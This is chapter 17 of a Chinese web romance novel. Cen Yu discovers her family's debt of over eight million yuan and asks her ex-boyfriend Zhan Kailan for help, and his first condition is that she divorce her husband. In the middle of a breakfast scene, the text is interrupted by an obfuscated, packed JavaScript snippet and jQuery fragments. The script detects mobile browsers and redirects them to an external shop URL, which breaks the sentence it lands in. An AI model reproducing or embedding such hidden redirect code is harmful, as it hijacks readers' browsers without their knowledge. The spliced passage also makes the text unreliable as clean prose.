17. 第一个要求

作品:《被前男友强娶豪夺了

    岑裕挂了电话,手指还在微微发抖。她转过身,目光掠过林子彰。


    “我先走了。”岑裕的声音很急,很慌。她没有等林子彰回应,转身就往停车场的方向走。


    站在她身后的林子彰抬了下手,但此时她已经走出了几步远,林子彰的指尖只抓住了空气。


    那只手在空中悬了几秒,然后缓缓地,无力地垂了下去。


    岑裕没有回头。


    走去停车场的路上,她在手机上买了最近一班回C市的飞机,然后又向公司请了两天假。


    到家后,岑裕急匆匆地走进卧室,打开衣柜,随便抓了几件衣服和其他需要的东西塞进行李箱里。


    岑裕匆匆赶到了机场。接下来值机,过安检,找登机口。每一步岑裕都机械地完成,此时的她头脑过载得几乎无法思考别的东西。


    直到她坐进飞机的座位,系好安全带,飞机开始在跑道上滑行。巨大的引擎轰鸣声填满了整个机舱,震得耳膜嗡嗡作响。


    她忽然很难受。


    飞机上的噪音很大,大到旁边的人大概听不到她压抑的啜泣,但也大到让她本就濒临崩断的神经更加烦躁。


    飞机落地的时候,C市在下雨。不大,细细密密的。


    岑裕拖着行李箱走到打车点,叫了一辆出租车,报了家里的地址。


    窗外的C市在雨夜里显得陌生而陈旧,那些她从小熟悉的街道、店铺、路口,此刻都蒙上了一层灰蒙蒙的滤镜。


    到了小区楼下,她深吸一口气,拖着行李箱上楼。楼道里的声控灯坏了一盏,忽明忽暗的。她站在家门口,摸出钥匙,插进锁孔。


    门开了。


    屋子里很暗,没有开灯,窗帘大概也没有拉开,空气中有一种沉闷的气息。客厅的轮廓在黑暗中若隐若现,一个人影坐在沙发上,一动不动,像一尊雕塑。


    岑裕伸手按下了墙上的开关。灯亮了,刺眼的白光一下子充满整个屋子。


    她看到她爸沉默地坐着。


    岑镇坐在沙发的正中间,脊背弯着,两只手搁在膝盖上,头低着,目光落在地板上,没有焦点。


    岑裕的视线落在他的头发上,上次见面还是黑白参半,这才过了多久,竟然白成了这样,看起来苍老了不止十岁。


    岑裕的眼眶一下子就红了。她站在门口,行李箱还握在手里,声音带着明显的哭腔,“爸,你怎么这么傻!”


    岑镇没有抬头,他的肩膀微微颤了一下,看起来要撑不住了。


    “我对不起你们。”他开口,声音沙哑得几乎听不清,像是很久没有喝过水,又像是很久没有说过话,“对不起你,对不起你妈……”


    岑裕松开行李箱,走过去,在他身边坐下。她不知道该说什么,最终也什么都没有说出来,只是坐在他身边,沉默地坐着。


    过了很久,岑镇抬起头,看了她一眼。那双眼睛浑浊且布满血丝,像是好几天都没有合过眼。


    “你妈在医院,你去看看她吧。”他说。


    岑裕点了点头,站起身。


    她走到门口,又回头看了一眼。她爸还保持着那个姿势,坐在沙发上,弯着腰,低着头。


    医院在城北,岑裕赶到的时候已经快晚上十点了。


    住院部的走廊很安静,护士站的值班护士低着头在写什么。岑裕找到王彩英所在的病房号,推开门。小小的三人间,靠窗的床上躺着一个人,是她的妈妈。


    小姨已经走了,床头柜上放着一个果篮和一袋面包,大概是来的时候带的。王彩英闭着眼睛,脸色蜡黄,嘴唇干裂,手背上扎着留置针,连着吊瓶,透明的液体一滴一滴地往下掉。


    岑裕站在床边,看着她妈,鼻子一酸,但忍住了没哭。


    王彩英没有睡着,她的眼皮颤了颤,慢慢睁开。看到岑裕的那一刻,她的眼眶立刻就红了,嘴唇开始发抖。


    “裕裕啊,”她的声音虚弱而绝望,“我们家彻底完了,欠了八百多万啊……”


    岑裕呆住了。


    她站在病床前,一动不动,大脑一片空白。等回过神来的时候,她的手脚已经冰凉的透骨。


    她看着自己妈那张绝望的脸,忽然觉得浑身都没有力气,她甚至已经不想问他们到底发生了什么。


    “妈,你先保重身体。”她听到自己的声音,透着迷茫,“剩下的……接下来再想办法。”


    王彩英还在低声地哭着,压抑而绝望。哭着哭着,她的声音渐渐低了下去,呼吸变得绵长,她睡着了,大概是哭累了。


    岑裕在床边站了一会儿,确认她妈睡着后,轻轻地退出了病房。


    她靠着墙壁,慢慢地滑坐下去,坐在了冰冷的地面上。


    走廊里很安静,安静到能听到远处某个病房里监护仪的滴滴声,岑裕的眼睛里也只剩下医院走廊的红绿色灯光。


    岑裕坐在那里,脑子里翻来覆去地想,卖房……也没什么用了,这个窟窿已经大到自己无力承担。


    她苦笑了一下。


    岑裕低下头,漫无目的地刷着手机。她不知道自己想看什么,也不知道自己为什么要看。


    她的手指无意识地在屏幕上滑动,那些名字一个个地从眼前掠过,然后她的手指停住了。


    詹开澜。


    那个名字安安静静地躺在通讯录里,没有任何特别之处。


    她愣了很久。走廊里很安静,安静到她能听到自己的心跳。


    她垂着眼,睫毛的阴影落在脸上,神色疲惫,有着一丝难堪和一种连她自己都不敢承认的、最后的希冀。


    她按了下去。


    电话只响了一声就被接起,那头的人像是等了很久。


    岑裕没有反应过来,她以为会响很多声,以为没有人接。那样她就可以告诉自己,我试过了,然后心安理得地挂掉。


    但只响了一声,就接了。她的脑子里有一瞬间的空白,所有的措辞都在那一刻被清空。


    “詹开澜,”她开口,声音沙哑得不像自己的,“我有事想找你。”


    她说出这几个字的时候,觉得心里有什么东西碎掉了。


    四年多以前他不告而别,她发过誓这辈子再也不会主动找他。


    “岑裕。”他叫她的全名,声音低哑,带着一种说不清的意味。


    她握着手机的手指微微收紧了。


    “明天下午三点,到我办公室谈。”


    岑裕愣了一下,然后沙哑地说了声“好”。她没有等他回应,很快挂了电话,像是怕自己再多听一秒就会反悔。


    挂完电话,她握着手机,坐在走廊的地面上,很久没有动。她的眼眶很红,但没有再流泪了。


    岑裕把脸埋进掌心里,深深地叹了一口气。


    不知坐了多久,岑裕才站起来。腿有些麻,脚底板踩在地上像踩着一团棉花。她扶着墙站了几秒,等那股酸麻劲儿过去,才拖着步子走向电梯。


    到家的时候,她爸还坐在沙发上,姿势几乎没有变过。


    “妈睡着了。”岑裕说。


    岑镇点了点头,没再说话。两个人一个坐在沙发上,一个站在门口,隔着半个客厅的距离,沉默着。


    然后,岑裕去浴室洗了澡。她躺到自己从前住的那间卧室的床上,床单是母亲上周刚换过的,有洗衣液淡淡的香味。


    她闭上眼睛,脑子里很乱,但身体太累了,累到无法整理脑子里杂乱的思绪。


    很快,她就睡着了。


    第二天一早,岑裕是被窗外的鸟叫声吵醒的。C市的清晨比A市安静得多,没有车流的轰鸣,只有鸟叫和远处隐约的狗吠。


    她睁开眼,看着天花板上那盏灯发了几秒的呆,然后拿起手机,买了最近一班回A市的机票。


    岑裕自嘲地笑了笑,这几天全在乘飞机了。


    她掀开被子,以最快的速度洗漱换衣。走出卧室的时候,她爸已经坐在餐桌前了,面前摆着两碗白粥和一小碟咸菜。


    “爸,”岑裕坐下来,端起粥碗喝了一口,“我今天得回去了。那边还有工作,还有事要处理。”


    岑镇没问什么,只是点了点头。


    “钱的事我来想办法,你别管了,别再跟那些人联系了,听到没有?”


    岑镇抬起眼看了她一眼。那个眼神里没有希望,甚至没有什么明显的情绪。只是一种很疲惫的了然,他不相信她能想出什么办法来。


    但他没有说出口,只是点了点头,声音沙哑地说了句,“你保重身体。”


    岑裕的鼻子酸了一下。她低下头,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17481683|201779||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    把剩下的粥几口喝完,站起来,拎起昨晚收拾好的行李箱。


    “爸,我走了。”她说。


    岑裕咬了咬嘴唇,转身拉开门,走了出去。


    到医院的时候,王彩英已经醒了。她靠在摇起来的病床上,脸色比昨晚好了一些,但整个人还是恹恹的。


    小姨坐在床边,手里削着一个苹果,看到岑裕进来,连忙站起来。


    “裕裕来了?坐坐坐,吃苹果。”小姨把削好的苹果塞到岑裕手里,又去翻柜子找水,“你妈昨晚睡得还行,医生查房说再观察两天就可以出院了。”


    岑裕道了谢,在床边坐下。王彩英看着她,嘴唇动了动,但最终只是握住了她的手,手指冰凉而粗糙。


    “妈,我得回去了,”岑裕说,把那块苹果放到床头柜上,反握住母亲的手,“工作不能耽误太久。你好好养身体,别想太多。小姨,这几天麻烦你多照看了。”


    小姨连声说应该的。王彩英的眼泪又掉了下来,无声地,一滴一滴地落在白色的床单上。


    岑裕伸手替她擦了,动作很轻,很轻。


    “会好的。”她说。不知道是在安慰母亲,还是在安慰自己。


    飞机落地A市的时候,是下午一点多。岑裕拖着行李箱走出去,阳光很好,和C市的阴雨天完全是两个世界。


    到家的时候,她输入密码解锁。门开了,家里异常的安静,总感觉少了些什么。


    岑裕愣了一下,换了鞋走进去。


    她拿出手机,翻到林子彰的消息。昨天发的,在她还在飞机上的时候。


    “我和我妈走了。”


    岑裕看着那行字,心里说不出是什么感觉。不是伤心,也不是愤怒,更多的是一种坦然。


    她叹了口气,把手机扔到沙发上,拖着行李箱进了卧室。


    没有时间感慨,没有时间难过,毕竟下午还有事要做。


    岑裕洗了个澡。洗完,她站在洗手台前,看着镜子里的自己。


    脸色很差,嘴唇干得起皮,眼下有青黑,整个人感觉皱巴巴的,没有生气。


    她从柜子里翻出化妆包,她不能在走进他办公室的时候,还是这副狼狈的,走投无路的样子。


    这是她最后仅剩的那一点点体面,她得撑住。


    岑裕化完淡妆对着镜子看了几秒,然后拿出口红,最后涂了一层,抿了抿嘴唇。


    钰坤大厦,两点五十五分。


    岑裕推开旋转门走进去。她走向前台,刚开口说了一句“您好”。前台就抬起头,像是早就知道她要来,脸上带着那种训练有素的微笑。


    “岑小姐是吗?詹总已经在顶楼等您了。”


    岑裕微微一怔,点了点头。


    这种感觉不太好,像是她被安排得明明白白,像是每一步都在他的预料之中。


    岑裕脚步顿了顿,不再想那么多。她走向电梯间,直通顶楼。


    岑裕站在门前,深吸了一口气,抬手敲门。


    “进来。”他的声音从门后传来,低沉中带着点磁性。


    她推开门。


    办公室很大,整面落地窗对着城市的天际线,他就站在窗前,背对着门。


    岑裕站在门口,手里还握着门把手。


    几天没见过他了,几乎感觉隔了一辈子。


    他转过身来。


    他好像比之前更冷淡了一些,带着一种骨子里透出来的疏离感。


    他的目光从她脸上扫过,只是看了一眼,然后微微抬了抬下巴,示意她坐。


    岑裕走过去,在那张黑色皮椅上坐下了。


    他在她对面坐下,唇角微弯,姿态从容得像是在谈一笔再普通不过的生意。


    岑裕看着他,嗓音发干,“詹开澜,我需要你的……帮助。”


    她顿了顿,然后补充道,“我家欠了债。”


    詹开澜靠在椅背里,看着她的表情没有任何变化,没有同情,没有惊讶。


    然后他开口了。


    “可以。三个要求,答应我,我帮你。”


    她坐在他对面,指甲掐进掌心,闭了闭眼,“你说。”


    詹开澜靠在椅背上,手指轻轻敲了一下桌面,不紧不慢的开口。


    “第一个要求,和他离婚。”